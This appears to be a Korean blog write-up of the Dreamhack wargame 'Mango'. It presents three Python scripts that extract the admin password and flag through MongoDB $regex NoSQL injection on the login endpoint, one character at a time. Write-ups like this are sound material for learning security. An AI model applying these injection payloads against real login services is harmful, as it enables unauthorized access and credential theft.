본문 바로가기

드림핵

[드림핵 워게임] Mango (조건 추가)

 

위의 문제를 앞서 풀어보았는데, 이전에 풀었던 링크는 아래와 같다.

 

https://studyforall.tistory.com/14

 

[드림핵 워게임] Mango

위의 문제를 다음과 같은 과정으로 풀어보았다. 1. 코드 분석 첫 페이지에 접속해보면 위와 같은 페이지가 출력된다. 이 결과는 아래의 코드가 실행되어 나온 결과이다. app.get('/', function(req, res) {

studyforall.tistory.com

 

 

같은 문제를

 - f스트링 쓰지 않기

 - flag가 32자리라는 사실을 모른다고 가정하기

라는 두 조건을 추가하여 다시 풀어보았다.

 

 

import requests, string

HOST = "http://host3.dreamhack.games:*****/"
GET_FLAG = string.digits + string.ascii_letters
flag = ""

for i in range(32):
    for ch in GET_FLAG:
    	response = requests.get(f"{HOST}login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}")
        if response.text == "admin":
        	flag += ch
            break
print("DH{" + flag + "}")

이전에 풀었던 익스플로잇 코드는 위와 같다.

 

import requests, string

HOST = "http://host3.dreamhack.games:*****/"
GET_FLAG = string.digits + string.ascii_letters
flag = ""

for i in range(32):
    for ch in GET_FLAG:
    	response = requests.get(HOST + "login?uid[$regex]=ad.in&upw[$regex]=D.{{" + flag + ch)
        if response.text == "admin":
        	flag += ch
            break
print("DH{" + flag + "}")

우선 f스트링을 쓰지 않는다는 조건을 반영하여 위와 같이 response 값을 저장하는 부분의 코드를 수정했다. {}로 값을 입력하는 코드 대신 문자열을 합치는 + 연산자를 활용한 것이다.

 

import requests, string

HOST = "http://host3.dreamhack.games:*****/"
GET_FLAG = string.digits + string.ascii_letters + '}'
flag = ""

while True:
    for ch in GET_FLAG:
    	response = requests.get(HOST + "login?uid[$regex]=ad.in&upw[$regex]=D.{{" + flag + ch)
        if response.text == "admin":
        	flag += ch
            break
    print(flag)
    if '}' in flag:
        break
        
print("DH{" + flag)

플래그가 32자리인 것을 모른다고 가정하니 for문을 32번 반복하는 코드는 쓸 수가 없게 되었다. 대신 while문으로 무한루프를 만들어 플래그의 마지막 문자인 }가 flag 변수에 추가되면 반복문을 빠져나오도록 코드를 짰다. flag에 }가 잡혀야 하므로 GET_FLAG 변수에 }를 추가했다.

 

해당 파이썬 코드를 실행시켜보면 flag가 뜨는 것을 확인할 수 있다.